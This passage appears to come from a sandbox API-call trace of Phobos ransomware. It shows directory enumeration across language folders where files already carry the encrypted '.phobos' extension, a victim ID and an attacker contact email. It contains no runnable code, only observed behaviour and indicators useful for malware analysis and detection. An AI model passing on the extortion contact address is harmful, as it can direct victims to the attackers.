lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1030", cAlternateFileName="")) returned 1 [0124.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.307] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.307] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfe4caa, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecfe4caa, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.308] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed031088, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.308] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.308] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.308] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.308] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.308] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1031", cAlternateFileName="")) returned 1 [0124.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.309] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.309] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.309] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed031088, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed031088, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed220f6c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.310] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.310] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf7252e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecf7252e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed00ae7d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.310] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.311] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.311] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1032", cAlternateFileName="")) returned 1 [0124.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5fe0 [0124.311] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.311] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda06bab, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda06bab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda2ce12, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.311] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed220f6c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed220f6c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.312] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.312] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.312] FindClose (in: hFindFile=0x7b5fe0 | out: hFindFile=0x7b5fe0) returned 1 [0124.312] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.312] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1033", cAlternateFileName="")) returned 1 [0124.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.313] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.313] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed45d258, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.313] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.313] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.313] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed00ae7d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed00ae7d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0572ae, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.313] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.314] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.314] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1035", cAlternateFileName="")) returned 1 [0124.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.315] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.315] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8fbb88, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.315] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8fbb88, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8fbb88, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.315] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.315] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0572ae, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0572ae, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed0efd36, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.315] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.316] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.316] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1036", cAlternateFileName="")) returned 1 [0124.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.317] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.317] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.317] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed947fc1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed947fc1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed96e30a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.317] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.317] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0efd36, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed0efd36, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed1facbc, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.317] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.318] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.318] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: 